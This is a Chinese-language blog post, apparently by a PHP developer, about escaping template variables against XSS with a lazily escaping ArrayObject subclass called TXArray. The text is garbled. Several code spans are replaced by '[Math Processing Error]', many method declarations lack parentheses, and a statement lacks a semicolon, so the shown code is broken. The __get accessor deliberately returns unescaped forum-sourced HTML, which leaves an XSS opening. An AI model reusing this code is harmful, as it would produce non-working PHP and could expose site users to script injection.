而熟悉smarty的同學應該知道,其實smarty的模版渲染也是用了轉義字符串的方式。那我們渲染頁面的代碼可以這么寫。
/**
* 獲得模板渲染后的內容
* @return string
*/
public function getContent
{
//防XSS注入
foreach ([Math Processing Error]
[Math Processing Error][Math Processing Error]
}
unset($param);
extract($this->params);
ob_start;
//include template
$file=sprintf('%s/template/%s.tpl.php', TXApp::$app_root, $this->view);
include $file;
$content=ob_get_clean;
return $content;
}
這樣的話,傳入的字符串類型的變量都會被替換掉了。但是問題也很明顯。那就是如果是數組或者object對象,里面的內容就無法進行轉義了。而這同樣也是smarty的一個弊端,smarty是在assign方法里進行的實體化轉義,如果是數組或者object就無視了。當然我們還需要更進一步的進行轉義處理。
有同學看到這里肯定會有個想法,如果是數組的話,遞歸進行轉義處理不就可以了嗎。
事實上我一開始的確是這么做的,但是弊端也很明顯。遞歸的層數越多,性能損耗就越大。而且并非所有進行轉義的內容我們都會用到,這樣就會造成性能的浪費。最優化的處理方式就是當需要用到的時候再做轉義處理,沒用到的時候該咋樣還是咋樣。
于是我開始著手自己寫一個類,在我的框架里我命名為TXArray 繼承了ArrayObject,也就是讓其具備了array的部分性質。接下來開始進行array 方法重構。以下是部分代碼
class TXArray extends ArrayObject
{
private [Math Processing Error]
public function __construct($storage=array)
{
$this->storage=$storage;
}
public function getIterator
{
foreach ($this->storage as $key=> $value){
$key=$this->encode($key);
if (!isset($this->encodes[$key])){
$this->encodes[$key]=$this->encode($value);
}
}
return new ArrayIterator($this->encodes);
}
public function offsetGet($k)
{
if (isset($this->storage[$k])){
$key=$this->encode($k);
if (!isset($this->encodes[$key])){
$this->encodes[$key]=$this->encode($this->storage[$k]);
}
return $this->encodes[$key];
}
return null;
}
public function offsetExists($k)
{
return isset($this->storage[$k]);
}
public function offsetUnset($k)
{
unset($this->storage[$k]);
$k=$this->encode($k);
unset($this->encodes[$k]);
}
public function offsetSet($k, $value)
{
$this->storage[$k]=$value;
$this->encodes[$k]=$this->encode($value);
}
public function count
{
return count($this->storage);
}
private function encode($value)
{
if (is_string($value)){
$value=is_string($value) ? htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE) : $value
} elseif (is_array($value)){
$value=new self($value);
}
return $value;
}
} offsetGet 會在[Math Processing Error]
這樣一個遞歸的轉義模型就寫好了。也實現了用到時才轉義的目標。
但是還有個問題。并不是所有字段都需要轉義的,例如我們平臺的輿情監控數據,數據來源主要是各大貼吧論壇,數據本身包含了圖片img,字體顏色等html元素。在展示時并不希望被模版轉義。所以我在框架上繼續優化。添加了PHP的魔法方法__get
public function __get($k)
{
return isset($this->storage[$k]) ? $this->storage[$k] : null;
}
public function get($key)
{
return $this->__get($key);
}
也就是說只要調用[Math Processing Error]
另外看業務也再需要加上一些對array的處理方法,例如array_key_exists,in_array, join等。或者直接使用__call 魔法方法
public function __call($method, $args)
{
$args=&$this->storage;
return call_user_func_array($method, $args);
}
public function serialize
{
return serialize($this->storage);
}
public function __invoke
{
return $this->storage ? true : false;
}
public function keys
{
return array_keys($this->values(false));
}
然后我們在頁面模版里就可以愉快的使用了
但是這個TXArray還是有個問題,就是如果需要轉化成json全部下發給js使用的話,那里面的數據就無法被轉義了。當然也可以遞歸先全轉義一遍,但總覺得代碼不夠漂亮。這個問題我還會繼續研究。有新的進展和優化我都會上傳到我的 PHP開源組件框架 中,大家有什么好的建議都可以rtx跟我探討溝通哈
*請認真填寫需求信息,我們會在24小時內與您取得聯系。